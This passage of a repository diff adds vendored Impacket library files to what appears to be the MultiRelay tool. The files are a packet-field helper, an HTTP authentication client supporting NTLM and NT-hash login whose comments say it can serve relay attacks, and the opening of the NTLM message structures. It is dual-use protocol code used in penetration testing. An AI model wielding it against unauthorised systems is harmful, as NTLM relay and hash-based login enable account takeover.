logging.getLogger().setLevel(logging.INFO)

1905
tools/MultiRelay/impacket-dev/impacket/examples/secretsdump.py Normal file
View File

File diff suppressed because it is too large Load Diff

150
tools/MultiRelay/impacket-dev/impacket/helper.py Normal file
View File

@@ -0,0 +1,150 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Helper used to build ProtocolPackets
#
# Author:
# Aureliano Calvo
import struct
import functools
from six import add_metaclass
import impacket.ImpactPacket as ip
def rebind(f):
functools.wraps(f)
def rebinder(*args, **kwargs):
return f(*args, **kwargs)
return rebinder
class Field(object):
def __init__(self, index):
self.index = index
def __call__(self, k, d):
getter = rebind(self.getter)
getter_name = "get_" + k
getter.__name__ = getter_name
getter.__doc__ = "Get the %s field" % k
d[getter_name] = getter
setter = rebind(self.setter)
setter_name = "set_" + k
setter.__name__ = setter_name
setter.__doc__ = "Set the %s field" % k
d["set_" + k] = setter
d[k] = property(getter, setter, doc="%s property" % k)
class Bit(Field):
def __init__(self, index, bit_number):
Field.__init__(self, index)
self.mask = 2 ** bit_number
self.off_mask = (~self.mask) & 0xff
def getter(self, o):
return (o.header.get_byte(self.index) & self.mask) != 0
def setter(self, o, value=True):
b = o.header.get_byte(self.index)
if value:
b |= self.mask
else:
b &= self.off_mask
o.header.set_byte(self.index, b)
class Byte(Field):
def __init__(self, index):
Field.__init__(self, index)
def getter(self, o):
return o.header.get_byte(self.index)
def setter(self, o, value):
o.header.set_byte(self.index, value)
class Word(Field):
def __init__(self, index, order="!"):
Field.__init__(self, index)
self.order = order
def getter(self, o):
return o.header.get_word(self.index, self.order)
def setter(self, o, value):
o.header.set_word(self.index, value, self.order)
class Long(Field):
def __init__(self, index, order="!"):
Field.__init__(self, index)
self.order = order
def getter(self, o):
return o.header.get_long(self.index, self.order)
def setter(self, o, value):
o.header.set_long(self.index, value, self.order)
class ThreeBytesBigEndian(Field):
def __init__(self, index):
Field.__init__(self, index)
def getter(self, o):
b=o.header.get_bytes()[self.index:self.index+3].tostring()
#unpack requires a string argument of length 4 and b is 3 bytes long
(value,)=struct.unpack('!L', b'\x00'+b)
return value
def setter(self, o, value):
# clear the bits
mask = ((~0xFFFFFF00) & 0xFF)
masked = o.header.get_long(self.index, ">") & mask
# set the bits
nb = masked | ((value & 0x00FFFFFF) << 8)
o.header.set_long(self.index, nb, ">")
class ProtocolPacketMetaklass(type):
def __new__(cls, name, bases, d):
d["_fields"] = []
items = list(d.items())
if not object in bases:
bases += (object,)
for k,v in items:
if isinstance(v, Field):
d["_fields"].append(k)
v(k, d)
d["_fields"].sort()
def _fields_repr(self):
return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields )
def __repr__(self):
return "<%(name)s %(fields)s \nchild:%(r_child)s>" % {
"name": name,
"fields": self._fields_repr(),
"r_child": repr(self.child()),
}
d["_fields_repr"] = _fields_repr
d["__repr__"] = __repr__
return type.__new__(cls, name, bases, d)
@add_metaclass(ProtocolPacketMetaklass)
class ProtocolPacket(ip.ProtocolPacket):
def __init__(self, buff = None):
ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size)
if buff:
self.load_packet(buff)

5872
tools/MultiRelay/impacket-dev/impacket/hresult_errors.py Normal file
View File

File diff suppressed because it is too large Load Diff

206
tools/MultiRelay/impacket-dev/impacket/http.py Normal file
View File

@@ -0,0 +1,206 @@
# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Authors:
# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
#
# Description:
# For MS-RPCH
# Can be programmed to be used in relay attacks
#
# Probably for future MAPI
import re
import ssl
import base64
import binascii
try:
from http.client import HTTPConnection, HTTPSConnection
except ImportError:
from httplib import HTTPConnection, HTTPSConnection
from impacket import ntlm, LOG
# Auth types
AUTH_AUTO = 'Auto'
AUTH_BASIC = 'Basic'
AUTH_NTLM = 'NTLM'
AUTH_NEGOTIATE = 'Negotiate'
AUTH_BEARER = 'Bearer'
AUTH_DIGEST = 'Digest'
################################################################################
# CLASSES
################################################################################
class HTTPClientSecurityProvider:
def __init__(self, auth_type=AUTH_AUTO):
self.__username = None
self.__password = None
self.__domain = None
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = ''
self.__TGT = None
self.__TGS = None
self.__auth_type = auth_type
self.__auth_types = []
self.__ntlmssp_info = None
def set_auth_type(self, auth_type):
self.__auth_type = auth_type
def get_auth_type(self):
return self.__auth_type
def get_auth_types(self):
return self.__auth_types
def get_ntlmssp_info(self):
return self.__ntlmssp_info
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
self.__username = username
self.__password = password
self.__domain = domain
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0%s' % lmhash
if len(nthash) % 2:
nthash = '0%s' % nthash
try: # just in case they were converted already
self.__lmhash = binascii.unhexlify(lmhash)
self.__nthash = binascii.unhexlify(nthash)
except:
self.__lmhash = lmhash
self.__nthash = nthash
pass
self.__aesKey = aesKey
self.__TGT = TGT
self.__TGS = TGS
def parse_www_authenticate(self, header):
ret = []
if 'NTLM' in header:
ret.append(AUTH_NTLM)
if 'Basic' in header:
ret.append(AUTH_BASIC)
if 'Negotiate' in header:
ret.append(AUTH_NEGOTIATE)
if 'Bearer' in header:
ret.append(AUTH_BEARER)
if 'Digest' in header:
ret.append(AUTH_DIGEST)
return ret
def connect(self, protocol, host_L6):
if protocol == 'http':
return HTTPConnection(host_L6)
else:
try:
uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
return HTTPSConnection(host_L6, context=uv_context)
except AttributeError:
return HTTPSConnection(host_L6)
def get_auth_headers(self, http_obj, method, path, headers):
if self.__auth_type == AUTH_BASIC:
return self.get_auth_headers_basic(http_obj, method, path, headers)
elif self.__auth_type in [AUTH_AUTO, AUTH_NTLM]:
return self.get_auth_headers_auto(http_obj, method, path, headers)
else:
raise Exception('%s auth type not supported' % self.__auth_type)
def get_auth_headers_basic(self, http_obj, method, path, headers):
if self.__lmhash != '' or self.__nthash != '' or \
self.__aesKey != '' or self.__TGT != None or self.__TGS != None:
raise Exception('Basic authentication in HTTP connection used, '
'so set a plaintext credentials to connect.')
if self.__domain == '':
auth_line = self.__username + ':' + self.__password
else:
auth_line = self.__domain + '\\' + self.__username + ':' + self.__password
auth_line_http = 'Basic %s' % base64.b64encode(auth_line.encode('UTF-8')).decode('ascii')
# Format: auth_headers, reserved, ...
return {'Authorization': auth_line_http}, None
# It's important that the class contains the separate method that
# gets NTLM Type 1 value, as this way the class can be programmed to
# be used in relay attacks
def send_ntlm_type1(self, http_obj, method, path, headers, negotiateMessage):
auth_headers = headers.copy()
auth_headers['Content-Length'] = '0'
auth_headers['Authorization'] = 'NTLM %s' % base64.b64encode(negotiateMessage).decode('ascii')
http_obj.request(method, path, headers=auth_headers)
res = http_obj.getresponse()
res.read()
if res.status != 401:
raise Exception('Status code returned: %d. '
'Authentication does not seem required for url %s'
% (res.status, path)
)
if res.getheader('WWW-Authenticate') is None:
raise Exception('No authentication requested by '
'the server for url %s' % path)
if self.__auth_types == []:
self.__auth_types = self.parse_www_authenticate(res.getheader('WWW-Authenticate'))
if AUTH_NTLM not in self.__auth_types:
# NTLM auth not supported for url
return None, None
try:
serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})',
res.getheader('WWW-Authenticate')).group(1)
serverChallenge = base64.b64decode(serverChallengeBase64)
except (IndexError, KeyError, AttributeError):
raise Exception('No NTLM challenge returned from server for url %s' % path)
if not self.__ntlmssp_info:
challenge = ntlm.NTLMAuthChallenge(serverChallenge)
self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
# Format: serverChallenge, reserved, ...
return serverChallenge, None
def get_auth_headers_auto(self, http_obj, method, path, headers):
if self.__aesKey != '' or self.__TGT != None or self.__TGS != None:
raise Exception('NTLM authentication in HTTP connection used, ' \
'cannot use Kerberos.')
auth = ntlm.getNTLMSSPType1(domain=self.__domain)
serverChallenge = self.send_ntlm_type1(http_obj, method, path, headers, auth.getData())[0]
if serverChallenge is not None:
self.__auth_type = AUTH_NTLM
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, self.__username,
self.__password, self.__domain,
self.__lmhash, self.__nthash)
auth_line_http = 'NTLM %s' % base64.b64encode(type3.getData()).decode('ascii')
else:
if self.__auth_type == AUTH_AUTO and AUTH_BASIC in self.__auth_types:
self.__auth_type = AUTH_BASIC
return self.get_auth_headers_basic(http_obj, method, path, headers)
else:
raise Exception('No supported auth offered by URL: %s' % self.__auth_types)
# Format: auth_headers, reserved, ...
return {'Authorization': auth_line_http}, None

3604
tools/MultiRelay/impacket-dev/impacket/nt_errors.py Normal file
View File

File diff suppressed because it is too large Load Diff

976
tools/MultiRelay/impacket-dev/impacket/ntlm.py Normal file
View File

@@ -0,0 +1,976 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
from __future__ import division
from __future__ import print_function
import base64
import struct
import calendar
import time
import hashlib
import random
import string
import binascii
from six import b
from impacket.structure import Structure
from impacket import LOG
# This is important. NTLMv2 is not negotiated by the client or server.
# It is used if set locally on both sides. Change this item if you don't want to use
# NTLMv2 by default and fall back to NTLMv1 (with EXTENDED_SESSION_SECURITY or not)
# Check the following links:
# https://davenport.sourceforge.io/ntlm.html
# https://blogs.msdn.microsoft.com/openspecification/2010/04/19/ntlm-keys-and-sundry-stuff/
# https://social.msdn.microsoft.com/Forums/c8f488ed-1b96-4e06-bd65-390aa41138d1/msnlmp-msntht-determining-ntlm-v1-or-v2-in-http-authentication?forum=os_specifications
# So I'm setting a global variable to control this, this can also be set programmatically
USE_NTLMv2 = True # if false will fall back to NTLMv1 (or NTLMv1 with ESS a.k.a NTLM2)
TEST_CASE = False # Only set to True when running Test Cases
def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='',
use_ntlmv2=USE_NTLMv2):
if use_ntlmv2:
return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2=use_ntlmv2)
else:
return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2=use_ntlmv2)
try:
from Cryptodome.Cipher import ARC4
from Cryptodome.Cipher import DES
from Cryptodome.Hash import MD4
except Exception:
LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
LOG.critical("See https://pypi.org/project/pycryptodomex/")
NTLM_AUTH_NONE = 1
NTLM_AUTH_CONNECT = 2
NTLM_AUTH_CALL = 3
NTLM_AUTH_PKT = 4
NTLM_AUTH_PKT_INTEGRITY = 5
NTLM_AUTH_PKT_PRIVACY = 6
# If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN
# with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to
# the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128
# are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is
# supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
NTLMSSP_NEGOTIATE_56 = 0x80000000
# If set, requests an explicit key exchange. This capability SHOULD be used because it improves security for message
# integrity or confidentiality. See sections 3.2.5.1.2, 3.2.5.2.1, and 3.2.5.2.2 for details. An alternate name for
# this field is NTLMSSP_NEGOTIATE_KEY_EXCH.
NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000
# If set, requests 128-bit session key negotiation. An alternate name for this field is NTLMSSP_NEGOTIATE_128.
# If the client sends NTLMSSP_NEGOTIATE_128 to the server in the NEGOTIATE_MESSAGE, the server MUST return
# NTLMSSP_NEGOTIATE_128 to the client in the CHALLENGE_MESSAGE only if the client sets NTLMSSP_NEGOTIATE_SEAL or
# NTLMSSP_NEGOTIATE_SIGN. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 are
# requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_128 if it
# is supported. An alternate name for this field is NTLMSSP_NEGOTIATE_128
NTLMSSP_NEGOTIATE_128 = 0x20000000
NTLMSSP_RESERVED_1 = 0x10000000
NTLMSSP_RESERVED_2 = 0x08000000
NTLMSSP_RESERVED_3 = 0x04000000
# If set, requests the protocol version number. The data corresponding to this flag is provided in the Version field
# of the NEGOTIATE_MESSAGE, the CHALLENGE_MESSAGE, and the AUTHENTICATE_MESSAGE.<22> An alternate name for this field
# is NTLMSSP_NEGOTIATE_VERSION
NTLMSSP_NEGOTIATE_VERSION = 0x02000000
NTLMSSP_RESERVED_4 = 0x01000000
# If set, indicates that the TargetInfo fields in the CHALLENGE_MESSAGE (section 2.2.1.2) are populated.
# An alternate name for this field is NTLMSSP_NEGOTIATE_TARGET_INFO.
NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000
# If set, requests the usage of the LMOWF (section 3.3). An alternate name for this field is
# NTLMSSP_REQUEST_NON_NT_SESSION_KEY.
NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000
NTLMSSP_RESERVED_5 = 0x00200000
# If set, requests an identify level token. An alternate name for this field is NTLMSSP_NEGOTIATE_IDENTIFY
NTLMSSP_NEGOTIATE_IDENTIFY = 0x00100000
# If set, requests usage of the NTLM v2 session security. NTLM v2 session security is a misnomer because it is not
# NTLM v2. It is NTLM v1 using the extended session security that is also in NTLM v2. NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
# and NTLMSSP_NEGOTIATE_LM_KEY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be returned to the
# client. NTLM v2 authentication session key generation MUST be supported by both the client and the DC in order to be
# used, and extended session security signing and sealing requires support from the client and the server in order to
# be used.<23> An alternate name for this field is NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000
NTLMSSP_NEGOTIATE_NTLM2 = 0x00080000
NTLMSSP_TARGET_TYPE_SHARE = 0x00040000
# If set, TargetName MUST be a server name. The data corresponding to this flag is provided by the server in the
# TargetName field of the CHALLENGE_MESSAGE. If this bit is set, then NTLMSSP_TARGET_TYPE_DOMAIN MUST NOT be set.
# This flag MUST be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field
# is NTLMSSP_TARGET_TYPE_SERVER
NTLMSSP_TARGET_TYPE_SERVER = 0x00020000
# If set, TargetName MUST be a domain name. The data corresponding to this flag is provided by the server in the
# TargetName field of the CHALLENGE_MESSAGE. If set, then NTLMSSP_TARGET_TYPE_SERVER MUST NOT be set. This flag MUST
# be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field is
# NTLMSSP_TARGET_TYPE_DOMAIN.
NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000
# If set, requests the presence of a signature block on all messages. NTLMSSP_NEGOTIATE_ALWAYS_SIGN MUST be set in the
# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. NTLMSSP_NEGOTIATE_ALWAYS_SIGN is overridden
# by NTLMSSP_NEGOTIATE_SIGN and NTLMSSP_NEGOTIATE_SEAL, if they are supported. An alternate name for this field is
# NTLMSSP_NEGOTIATE_ALWAYS_SIGN.
NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000 # forces the other end to sign packets
NTLMSSP_RESERVED_6 = 0x00004000
# This flag indicates whether the Workstation field is present. If this flag is not set, the Workstation field MUST be
# ignored. If this flag is set, the length field of the Workstation field specifies whether the workstation name is
# nonempty or not.<24> An alternate name for this field is NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED.
NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000
# If set, the domain name is provided (section 2.2.1.1).<25> An alternate name for this field is
# NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000
NTLMSSP_RESERVED_7 = 0x00000800
# If set, LM authentication is not allowed and only NT authentication is used.
NTLMSSP_NEGOTIATE_NT_ONLY = 0x00000400
# If set, requests usage of the NTLM v1 session security protocol. NTLMSSP_NEGOTIATE_NTLM MUST be set in the
# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate name for this field is
# NTLMSSP_NEGOTIATE_NTLM
NTLMSSP_NEGOTIATE_NTLM = 0x00000200
NTLMSSP_RESERVED_8 = 0x00000100
# If set, requests LAN Manager (LM) session key computation. NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be
# returned to the client. NTLM v2 authentication session key generation MUST be supported by both the client and the
# DC in order to be used, and extended session security signing and sealing requires support from the client and the
# server to be used. An alternate name for this field is NTLMSSP_NEGOTIATE_LM_KEY.
NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080
# If set, requests connectionless authentication. If NTLMSSP_NEGOTIATE_DATAGRAM is set, then NTLMSSP_NEGOTIATE_KEY_EXCH
# MUST always be set in the AUTHENTICATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate
# name for this field is NTLMSSP_NEGOTIATE_DATAGRAM.
NTLMSSP_NEGOTIATE_DATAGRAM = 0x00000040
# If set, requests session key negotiation for message confidentiality. If the client sends NTLMSSP_NEGOTIATE_SEAL to
# the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SEAL to the client in the
# CHALLENGE_MESSAGE. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD always set NTLMSSP_NEGOTIATE_56 and
# NTLMSSP_NEGOTIATE_128, if they are supported. An alternate name for this field is NTLMSSP_NEGOTIATE_SEAL.
NTLMSSP_NEGOTIATE_SEAL = 0x00000020
# If set, requests session key negotiation for message signatures. If the client sends NTLMSSP_NEGOTIATE_SIGN to the
# server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SIGN to the client in the CHALLENGE_MESSAGE.
# An alternate name for this field is NTLMSSP_NEGOTIATE_SIGN.
NTLMSSP_NEGOTIATE_SIGN = 0x00000010 # means packet is signed, if verifier is wrong it fails
NTLMSSP_RESERVED_9 = 0x00000008
# If set, a TargetName field of the CHALLENGE_MESSAGE (section 2.2.1.2) MUST be supplied. An alternate name for this
# field is NTLMSSP_REQUEST_TARGET.
NTLMSSP_REQUEST_TARGET = 0x00000004
# If set, requests OEM character set encoding. An alternate name for this field is NTLM_NEGOTIATE_OEM. See bit A for
# details.
NTLM_NEGOTIATE_OEM = 0x00000002
# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE.
NTLMSSP_NEGOTIATE_UNICODE = 0x00000001
# AV_PAIR constants
NTLMSSP_AV_EOL = 0x00
NTLMSSP_AV_HOSTNAME = 0x01
NTLMSSP_AV_DOMAINNAME = 0x02
NTLMSSP_AV_DNS_HOSTNAME = 0x03
NTLMSSP_AV_DNS_DOMAINNAME = 0x04
NTLMSSP_AV_DNS_TREENAME = 0x05
NTLMSSP_AV_FLAGS = 0x06
NTLMSSP_AV_TIME = 0x07
NTLMSSP_AV_RESTRICTIONS = 0x08
NTLMSSP_AV_TARGET_NAME = 0x09
NTLMSSP_AV_CHANNEL_BINDINGS = 0x0a
class AV_PAIRS:
def __init__(self, data = None):
self.fields = {}
if data is not None:
self.fromString(data)
def __setitem__(self,key,value):
self.fields[key] = (len(value),value)
def __getitem__(self, key):
if key in self.fields:
return self.fields[key]
return None
def __delitem__(self, key):
del self.fields[key]
def __len__(self):
return len(self.getData())
def __str__(self):
return len(self.getData())
def fromString(self, data):
tInfo = data
fType = 0xff
while fType is not NTLMSSP_AV_EOL:
fType = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]
tInfo = tInfo[struct.calcsize('<H'):]
length = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]
tInfo = tInfo[struct.calcsize('<H'):]
content = tInfo[:length]
self.fields[fType]=(length,content)
tInfo = tInfo[length:]
def dump(self):
for i in list(self.fields.keys()):
print("%s: {%r}" % (i,self[i]))
def getData(self):
if NTLMSSP_AV_EOL in self.fields:
del self.fields[NTLMSSP_AV_EOL]
ans = b''
for i in list(self.fields.keys()):
ans+= struct.pack('<HH', i, self[i][0])
ans+= self[i][1]
# end with a NTLMSSP_AV_EOL
ans += struct.pack('<HH', NTLMSSP_AV_EOL, 0)
return ans
# [MS-NLMP] 2.2.2.10 VERSION
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175
class VERSION(Structure):
NTLMSSP_REVISION_W2K3 = 0x0F
structure = (
('ProductMajorVersion', '<B=0'),
('ProductMinorVersion', '<B=0'),
('ProductBuild', '<H=0'),
('Reserved', '3s=""'),
('NTLMRevisionCurrent', '<B=self.NTLMSSP_REVISION_W2K3'),
)
class NTLMAuthNegotiate(Structure):
structure = (
('','"NTLMSSP\x00'),
('message_type','<L=1'),
('flags','<L'),
('domain_len','<H-domain_name'),
('domain_max_len','<H-domain_name'),
('domain_offset','<L=0'),
('host_len','<H-host_name'),
('host_maxlen','<H-host_name'),
('host_offset','<L=0'),
('os_version',':'),
('host_name',':'),
('domain_name',':'))
def __init__(self):
Structure.__init__(self)
self['flags']= (
NTLMSSP_NEGOTIATE_128 |
NTLMSSP_NEGOTIATE_KEY_EXCH|
# NTLMSSP_LM_KEY |
NTLMSSP_NEGOTIATE_NTLM |
NTLMSSP_NEGOTIATE_UNICODE |
# NTLMSSP_ALWAYS_SIGN |
NTLMSSP_NEGOTIATE_SIGN |
NTLMSSP_NEGOTIATE_SEAL |
# NTLMSSP_TARGET |
0)
self['host_name']=''
self['domain_name']=''
self['os_version']=''
self._workstation = ''
def setWorkstation(self, workstation):
self._workstation = workstation
def getWorkstation(self):
return self._workstation
def __hasNegotiateVersion(self):
return (self['flags'] & NTLMSSP_NEGOTIATE_VERSION) == NTLMSSP_NEGOTIATE_VERSION
def getData(self):
if len(self.fields['host_name']) > 0:
self['flags'] |= NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED
if len(self.fields['domain_name']) > 0:
self['flags'] |= NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
version_len = len(self.fields['os_version'])
if version_len > 0:
self['flags'] |= NTLMSSP_NEGOTIATE_VERSION
elif self.__hasNegotiateVersion():
raise Exception('Must provide the os_version field if the NTLMSSP_NEGOTIATE_VERSION flag is set')
if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED:
self['host_offset']=32 + version_len
if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED:
self['domain_offset']=32+len(self['host_name']) + version_len
return Structure.getData(self)
def fromString(self,data):
Structure.fromString(self,data)
domain_offset = self['domain_offset']
domain_end = self['domain_len'] + domain_offset
self['domain_name'] = data[ domain_offset : domain_end ]
host_offset = self['host_offset']
host_end = self['host_len'] + host_offset
self['host_name'] = data[ host_offset : host_end ]
if len(data) >= 36 and self.__hasNegotiateVersion():
self['os_version'] = VERSION(data[32:])
else:
self['os_version'] = ''
class NTLMAuthChallenge(Structure):
structure = (
('','"NTLMSSP\x00'),
('message_type','<L=2'),
('domain_len','<H-domain_name'),
('domain_max_len','<H-domain_name'),
('domain_offset','<L=40'),
('flags','<L=0'),
('challenge','8s'),
('reserved','8s=""'),
('TargetInfoFields_len','<H-TargetInfoFields'),
('TargetInfoFields_max_len','<H-TargetInfoFields'),
('TargetInfoFields_offset','<L'),
('VersionLen','_-Version','self.checkVersion(self["flags"])'),
('Version',':'),
('domain_name',':'),
('TargetInfoFields',':'))
@staticmethod
def checkVersion(flags):
if flags is not None:
if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
return 0
return 8
def getData(self):
if self['TargetInfoFields'] is not None and type(self['TargetInfoFields']) is not bytes:
raw_av_fields = self['TargetInfoFields'].getData()
self['TargetInfoFields'] = raw_av_fields
return Structure.getData(self)
def fromString(self,data):
Structure.fromString(self,data)
self['domain_name'] = data[self['domain_offset']:][:self['domain_len']]
self['TargetInfoFields'] = data[self['TargetInfoFields_offset']:][:self['TargetInfoFields_len']]
return self
class NTLMAuthChallengeResponse(Structure):
structure = (
('','"NTLMSSP\x00'),
('message_type','<L=3'),
('lanman_len','<H-lanman'),
('lanman_max_len','<H-lanman'),
('lanman_offset','<L'),
('ntlm_len','<H-ntlm'),
('ntlm_max_len','<H-ntlm'),
('ntlm_offset','<L'),
('domain_len','<H-domain_name'),
('domain_max_len','<H-domain_name'),
('domain_offset','<L'),
('user_len','<H-user_name'),
('user_max_len','<H-user_name'),
('user_offset','<L'),
('host_len','<H-host_name'),
('host_max_len','<H-host_name'),
('host_offset','<L'),
('session_key_len','<H-session_key'),
('session_key_max_len','<H-session_key'),
('session_key_offset','<L'),
('flags','<L'),
('VersionLen','_-Version','self.checkVersion(self["flags"])'),
('Version',':=""'),
('MICLen','_-MIC','self.checkMIC(self["flags"])'),
('MIC',':=""'),
('domain_name',':'),
('user_name',':'),
('host_name',':'),
('lanman',':'),
('ntlm',':'),
('session_key',':'))
def __init__(self, username = '', password = '', challenge = '', lmhash = '', nthash = '', flags = 0):
Structure.__init__(self)
self['session_key']=''
self['user_name']=username.encode('utf-16le')
self['domain_name']='' #"CLON".encode('utf-16le')
self['host_name']='' #"BETS".encode('utf-16le')
self['flags'] = ( #authResp['flags']
# we think (beto & gera) that his flags force a memory conten leakage when a windows 2000 answers using
# uninitializaed verifiers
NTLMSSP_NEGOTIATE_128 |
NTLMSSP_NEGOTIATE_KEY_EXCH|
# NTLMSSP_LM_KEY |
NTLMSSP_NEGOTIATE_NTLM |
NTLMSSP_NEGOTIATE_UNICODE |
# NTLMSSP_ALWAYS_SIGN |
NTLMSSP_NEGOTIATE_SIGN |
NTLMSSP_NEGOTIATE_SEAL |
# NTLMSSP_TARGET |
0)
# Here we do the stuff
if username and ( lmhash != '' or nthash != ''):
self['lanman'] = get_ntlmv1_response(lmhash, challenge)
self['ntlm'] = get_ntlmv1_response(nthash, challenge)
elif username and password:
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
self['lanman']=get_ntlmv1_response(lmhash, challenge)
self['ntlm']=get_ntlmv1_response(nthash, challenge) # This is not used for LM_KEY nor NTLM_KEY
else:
self['lanman'] = ''
self['ntlm'] = ''
if not self['host_name']:
self['host_name'] = 'NULL'.encode('utf-16le') # for NULL session there must be a hostname
@staticmethod
def checkVersion(flags):
if flags is not None:
if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
return 0
return 8
@staticmethod
def checkMIC(flags):
# TODO: Find a proper way to check the MIC is in there
if flags is not None:
if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
return 0
return 16
def getData(self):
self['domain_offset']=64+self.checkMIC(self["flags"])+self.checkVersion(self["flags"])
self['user_offset']=64+self.checkMIC(self["flags"])+self.checkVersion(self["flags"])+len(self['domain_name'])
self['host_offset']=self['user_offset']+len(self['user_name'])
self['lanman_offset']=self['host_offset']+len(self['host_name'])
self['ntlm_offset']=self['lanman_offset']+len(self['lanman'])
self['session_key_offset']=self['ntlm_offset']+len(self['ntlm'])
return Structure.getData(self)
def fromString(self,data):
Structure.fromString(self,data)
# [MS-NLMP] page 27
# Payload data can be present in any order within the Payload field,
# with variable-length padding before or after the data
domain_offset = self['domain_offset']
domain_end = self['domain_len'] + domain_offset
self['domain_name'] = data[ domain_offset : domain_end ]
host_offset = self['host_offset']
host_end = self['host_len'] + host_offset
self['host_name'] = data[ host_offset: host_end ]
user_offset = self['user_offset']
user_end = self['user_len'] + user_offset
self['user_name'] = data[ user_offset: user_end ]
ntlm_offset = self['ntlm_offset']
ntlm_end = self['ntlm_len'] + ntlm_offset
self['ntlm'] = data[ ntlm_offset : ntlm_end ]
lanman_offset = self['lanman_offset']
lanman_end = self['lanman_len'] + lanman_offset
self['lanman'] = data[ lanman_offset : lanman_end]
class ImpacketStructure(Structure):
def set_parent(self, other):
self.parent = other
def get_packet(self):
return str(self)
def get_size(self):
return len(self)
class ExtendedOrNotMessageSignature(Structure):
def __init__(self, flags = 0, **kargs):
